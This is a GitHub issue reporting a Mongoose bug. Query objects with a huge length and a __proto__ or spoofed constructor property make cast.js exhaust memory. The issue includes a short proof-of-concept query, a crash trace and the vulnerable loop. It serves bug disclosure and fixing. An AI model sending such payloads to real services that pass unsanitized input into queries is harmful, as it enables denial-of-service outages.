Skip to content

Passing very large array using __proto__ causes out of memory error #7290

@pelzerim

Description

@pelzerim

Do you want to request a feature or report a bug?
Report a bug

What is the current behavior?
When an object having a very large length property and, __proto__ or constructor property is passed, an out of memory error is thrown. This can be used to trigger a denial in service on apis that use unsanatized inputs in mongo queries.

[...]
==== JS stack trace =========================================

Security context: 0x3551a6b25e91 <JSObject>
    1: push(this=0x35512c541261 <JSArray[75209227]>)
    2: cast(aka cast) [/Users/immanuelpelzer/Development/tmp/mongoose-fic/node_modules/mongoose/lib/cast.js:~25] [pc=0x3c834931891c](this=0x3551b6a82311 <undefined>,schema=0x35512c541351 <Schema map = 0x3551b6221891>,obj=0x35512c541319 <Object map = 0x3551d534c081>,options=0x35512c5412e9 <Object map = 0x3551b6222339>,context=0x35512c541281 <JS...

FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory
[...]

If the current behavior is a bug, please provide the steps to reproduce.

const mongoose = require('mongoose')
mongoose.connect('mongodb://localhost/test')
    .then(console.log('connected'))

const TestSchema = new mongoose.Schema({
    test: String
})

const TestModel = mongoose.model('Test', TestSchema)

// Both cause the error
TestModel.findOne({
    test: {
        length:1e10,
        __proto__: []
    }
}).then(res => console.log)

// Both cause the error
TestModel.findOne({
    test: {
        length:1e10,
        constructor: { name:"Array" }
    }
}).then(res => console.log)

What is the expected behavior?
Propper handling of these kind of requests.

Please mention your node.js, mongoose and MongoDB version.
Node: v8.8.1
Mongoose: 5.3.14
MongoDB: 3.4

Investigation
The issue lies here:

mongoose/lib/cast.js

Lines 295 to 302 in d3cfdcb

} else if (val.constructor.name === 'Array' && ['Buffer', 'Array'].indexOf(schematype.instance) === -1) {
const casted = [];
for (let valIndex = 0; valIndex < val.length; valIndex++) {
casted.push(schematype.castForQueryWrapper({
val: val[valIndex],
context: context
}));
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    confirmed-bugWe've confirmed this is a bug in Mongoose and will fix it.

    Type

    No type

    Projects

    No projects

    Milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions